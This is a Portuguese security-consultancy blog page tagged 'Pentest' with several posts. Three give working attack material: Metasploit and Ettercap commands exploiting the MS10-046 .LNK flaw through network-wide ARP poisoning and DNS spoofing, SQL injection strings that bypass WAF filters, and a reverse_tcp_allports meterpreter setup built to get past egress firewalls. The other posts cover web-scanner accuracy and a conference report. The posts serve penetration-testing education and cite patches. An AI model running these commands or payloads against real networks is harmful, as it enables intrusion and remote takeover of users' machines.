Tag | Pentest

Perigo em atalhos do Windows .LNK

23 / 09 / 2010Sem comentários

Recentemente foi detectada uma vulnerabilidade que afetas os principais sistemas operacionais da família Microsoft: Windows Server 2003, Windows Server 2008, Windows Vista, XP e 7.

A vulnerabilidade ocorre em atalhos com extensão .LNK ou .PIF e permite que seja invocada alguma DLL maliciosa. Esta é uma vulnerabilidade de alta criticidade e caso algum atacante consiga explorá-la, obteria os mesmos privilégios do usuário local autenticado na máquina, assim seria possível a execução de códigos remotamente.

A seguir estarei dando um exemplo de como está vulnerabilidade poderia vir ser explorada.

Na demonstração abaixo foi utilizado os programas Metasploit e Ettercap.

——————————————————————————————————————————–

Abra o console do Metasploit e siga os comandos abaixo:

use exploit/windows/browser/ms10_046_shortcut_icon_dllloader

set LHOST 192.168.106.134

set PAYLOAD windows/meterpreter/reverse_tcp

Em outro Terminal:

#kate /usr/share/ettercap/etter.dns

Coloque o parâmetro abaixo na última linha.

*.*.* A X.X.X.X

Onde, X.X.X.X é o seu endereço IP

Salve o arquivo etter.dns.

#ettercap -T -q -P dns_spoof -M ARP // //

No Terminal do metasploit:

exploit

——————————————————————————————————————————–

Quando algum computador da rede interna solicitar uma página Web para o servidor DNS o mesmo será exploitado, pois o verdadeiro servidor DNS foi spoofado.

O que foi feito?

O ataque demonstrado acima é uma simulação de ataque efetuada em uma rede interna. O Metasploit foi configurado de modo a ficar aguardando conexões para o módulo do exploit.

Utilizando o Ettercap foi realizado um DNS Spoof e um ARP Poisoning em toda a rede interna, personificando o servidor DNS e alterando toda a tabela de endereços MAC do roteador ou switch utilizado pela rede. Este ataque tem o objetivo de fazer com que toda solicitação de resolução de nomes de domínio enviada ao servidor DNS, sejam agora enviadas para o computador do atacante. No momento em que os demais usuários da rede abrem seus navegadores com o intuito do visualizar alguma página Web, eles são conectados ao módulo do exploit que está aguardando conexões.

Recomendação:

Para corrigir o problema acima deve ser instalado o patch de correção, segundo a referência abaixo

http://www.microsoft.com/technet/security/bulletin/ms10-046.mspx

Referência da Vulnerabilidade:

http://cve.mitre.org/cgi-bin/cvename.cgi?name=2010-2568

http://www.osvdb.org/66387

Conclusão

Como podemos observar, sempre surgem vulnerabilidades 0-Day inesperadas em sistemas e não podemos simplesmente confiar na atualização do Windows Update.

Até a próxima :)

Scanners de Aplicação Web

19 / 02 / 2010Sem comentários

Há um bom tempo estudamos a efetividade dos scanners de aplicação Web e, apesar das melhorias observadas nessas ferramentas, ainda está longe de podermos confiar cegamente nos resultados obtidos por elas.

Recentemente, Larry Suto, pesquisador que ficou famoso por um estudo comparativo entre três grandes ferramentas (Webinspect, AppScan, NTOSpider) em 2007, do qual os resultados não agradaram muito IBM e HP e gerou muita discussão na comunidade de segurança, publicou um novo comparativo de scanners de aplicação com enfoque diferente: avaliar a eficácia e eficiência das soluções. O estudo, entitulado “Analyzing the Accuracy and Time Costs of Web Application Security Scanners” (Analisando a Acuracidade e Custo de Tempo de Scanners de Segurança de Aplicações Web), avaliou as mais expressivas e conhecidas soluções do mercado, sendo:

A metodologia de testes desse comparativo foi bastante simples. Não foram exploradas funcionalidades específicas, tecnologias suportadas,  etc. As soluções foram executadas em dois modos diferentes para cada uma das aplicações de teste citadas abaixo. Na primeira rodada, foi utilizada a forma “point and shoot”, onde o teste é realizado sem qualquer tipo de configuração além da URL, e outra forma, fazendo toda configuração e treinamento da solução.

Os ambientes de testes utilizados foram as aplicações providas pelos próprios fabricantes, desenvolvidas para a demonstração das ferramentas. Essas aplicações estão publicamente disponíveis e podem ser utilizadas para aprendizado:

Então, foram anotadas a quantidade de vulnerabilidades detectadas, o tempo de execução e as taxas de falso-positivos e falso-negativos.

O resultado obtido por este estudo mostra o que nossos consultores já vivênciam na prática: mais da metade das vulnerabilidades presentes nas aplicações de testes não foram detectadas pelas soluções testadas!!! O que significa que se você baseia a segurança de suas aplicações no resultado de um scanner automatizado, existe uma enorme chance do resultado mascarar reais vulnerabilidades, as quais podem estar presentes em sua aplicação e acarretar no comprometimento de seu ambiente e negócio.

O diagnóstico adequado de segurança de aplicações requer interações humanas e a qualidade do trabalho vai depender unicamente do conhecimento e experiência do consultor alocado para o projeto.

A máxima dos advogados se aplica muito bem aqui: “Consulte sempre um Especialista!” :)

No próximo post, iremos cutucar um pouco mais essa ferida e discutir mais a fundo os scanners de aplicação Web.

Até lá!

Outro método de exploração de SQL Injection e bypassar WAFs

03 / 11 / 2009Sem comentários

Hoje em dia com os inúmeros ataques via aplicações web com banco de dados e suas facilidades, o uso de WAF (Web Application Firewall) está sendo mais comum.

O WAF pode trabalhar basicamente de 3 formas: Blacklist, Whitelist e Profiling, sendo que a mais comum aplicada (mais fácil de ser implementada) é blacklist, onde são passado em forma de pattern match as expressões que serão bloqueadas caso haja o acesso, mesmo sabendo que o método através de padronização de expressões é falho por padrão ainda se tem que “procurar” alguma forma que invalide a expressão cadastrada no WAF e hoje um pesquisador achou outra forma de conseguir a injeção de códigos mesmo com ele implementado.

A “solução” é bem simples, bastar usar de comentários /* xpto */ para que a linha inserida seja ignorada pelo WAF e reproduzida no sistema, como no exemplo dado pelo pesquisador:

Desta forma, ainda seria bloqueada:

id=1+union/*&id=*/select+table_name+from+information_schema.columns

Mas, se utlizarmos toda a instrução comentada:

id=1/*!limit+0+union+select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns*/

Teremos sucesso na exploitação, simples e eficaz!

Como já até mesmo comentado no blog do autor, a solução DESTA thread é bem simples “/*!”, porém a atualização dos WAFs não deve ser tão imediata mas quem quiser pode fazer a regra manualmente, coisa bem difícil de ver por aí :D

iBLISS na HITBSecConf Malaysia 2009 (Hack In The Box)

20 / 10 / 2009Sem comentários





Após uma longa viagem de 23 horas com mais 11 horas de diferença de fuso horário, eu, Bruno, chego a Malásia onde seria a sede da maior e mais respeitada conferência hacker da Ásia, a Hack In The Box, a conferência aconteceu no Crowne Plaza Multiara no coração da capital Kuala Lumpur; como já suspeitava tive só ótimas surpresas ao chegar.

Primeiramente o hotel escolhido, o Crowne Plaza, é realmente fantástico, uma super-estrutura, luxo por um preço (ao menos para nós acostumados a ir pra Europa/EUA) extremamente acessível, antes de desembarcar em Kuala Lumpur eu já possuía todos os dados de minha reserva feita pelos organizadores, um sinal de competência e organização, que realmente são marcas registradas da conferência.

Os dois primeiros dias foram trainning days, onde acontecerão treinamentos relacionados a segurança, desde “tactical exploiting” até “forensic”, estive por perto junto com o crew, que devo dizer FANTÁSTICO e os voluntários durante todo o tempo, sempre trabalhando firmemente para que tudo ocorresse nos conformes.

Após os dois dias, deram-se início a famosa conferência juntamente com o Capture The Flag (CTF) que realmente fez a galera vibrar, apesar dos competidores não terem conseguido ganhar dos organizadores :D

Algumas palestras tiveram algum destaque (para mim):

eKimono

Nguyen, gente boníssima, faz sua tese de pós doutorado em um centro de tecnologia no Japão, desenvolveu uma ferramenta muito simples de se manusear e com bastante eficácia para verificação e análise de memória, com a ferramenta proposta e já desenvolvida, através do sistema HOST, o analista/administrador consegue fazer checagem de malwares (por comparaçãode syscalls/hooking) de todas máquinas GUESTs instaladas, realmente fantástico, além disso é possível a inserção de códigos maliciosos na memória com o propósito de adicionar/deletar/modificar usuários Windows entre outros recursos.

Ghosting Browser Attacks

Nesta palestra, foi demonstrado técnicas de instalar “backdoors” via browsers no qual, mesmo fechando o navegador o aplicativo continuará rodando, em um dos métodos mostrados é utilizando a função sleep() do PDF, mesmo após fechado ele continua rodando, a palestra deu a dica, a imaginação é o que conta.

BlackBerry: Bug and Kisses

Este trabalho teve bastante repercussão na mídia especializada, onde o pesquisador demonstrou como seqüestar e-mails através do sistema da RIM, vale a pena conferir os slides.

e claro, não podia deixar de mencionar, o Hacking from The Restroom, a minha palestra onde eu demonstrei o uso de celulares/gadgets para o hacking e além disso utlizar como ferramenta quando estamos aplicando um pentest, foram citadas ferramentas para diversos sistemas móveis e ainda aplicações que geralmente não são direcionadas pro hacking mas que se pode aproveitar de uma forma diferente, apesar do nervosismo do começo, repetindo a mesma frase, rsrs, no final acho que tudo foi ok! :)

As palestras já estão disponíveis para download:

http://conference.hackinthebox.org/hitbsecconf2009kl/materials/

A minha palestra:

HITB 2009 Malaysia – Hackin from The Restroom

Achando um jeito para os seus payloads, sempre tem uma porta aberta…

26 / 09 / 2009Sem comentários

Recentemente o blog do Metasploit divulgou uma nova funcionalidade do famoso framework, entendendo que vários administradores possuem restrições quanto ao acesso a serviços/portas na Internet, e é cansativo o acesso manual de porta a porta para o tal ataque, agora os pentesters de plantão ficarão um pouco mais aliviado! :D

O novo payload reverse_tcp_allports tenta fazer a conexão reversa através de uma porta pré-determinada pelo responsável pelo ataque, caso esta porta esteje negada o acesso, o payload tenta porta a porta de 1 a 65535 e se caso disponível irá se conectar a porta, também definida pelo atacante, no servidor responsável que receberá a conexão reversa (connect-back).

O único incomodo é que em plataformas Windows, por utilizar do método connect() (por ser mais “ágil”), aguarda-se um timeout do servidor caso a porta esteja fechada para se determinar o status, sendo as vezes demorando até um minuto (poucos casos, segundo o blog) mas mesmo assim com certeza é algo que será utilizado muito (antes uma hora o computador trabalhando pra você, do que você trabalhando pra ele).

A ativação começa da seguinte forma, você primeiramente precisa de um IP disponível e uma regra de FW, no caso, queremos que todas as conexões recebidas em qualquer porta vá para a porta 4444, sendo assim em IPTABLES temos:

# iptables -I INPUT -p tcp -m state –state NEW -d A.B.C.D -j DNAT –to A.B.C.D:4444

Agora configuramos o payload:

msf> use exploit/multi/handler
msf (exploit/handler) > set PAYLOAD windows/meterpreter/reverse_tcp_allports
msf (exploit/handler) > set LHOST A.B.C.D
msf (exploit/handler) > set LPORT 4444
msf (exploit/handler) > exploit -j

Depois, disso desabilitamos o “PayloadHandler” para que o código não seja executado:

msf (exploit/browser0day) > set PAYLOAD windows/meterpreter/reverse_tcp_allports
msf (exploit/browser0day) > set LHOST A.B.C.D
msf (exploit/browser0day) > set LPORT 1
msf (exploit/browser0day) > set DisablePayloadHandler true
msf (exploit/browser0day) > exploit

Sendo assim, o payload tentará se conectar as portas caso haja sucesso na conexão, ele será repassado a porta 4444 que ativará o código e assim dará o acesso a máquina alvo.

Isso porque SEMPRE há uma porta, quando os administradores fazem manutenções ou qualquer outro tipo de teste é comum que a regra aplicada não seja mudada, isto por preguiça/incompetência/mal-gerenciamento é indiscutível o nível problemático, já vi vários ambientes tecnológicos de pequeno porte até médio-grande porte e em todos se encaixam no problema, sem exceções.

Vejo esta questão como um problema maior, mais do que um poupador de tempo para o atacante, a confiança numa configuração falha já é tão comum, observo isso a tempos e uso em meus projetos que a partir do momento que começarmos explorar/automatizar isso de uma melhor forma, a necessidade de 0days para um ataque remoto será bem menor do que hoje é.

Bruno Gonçalves de Oliveira

Intrusion Analyst – iBLISS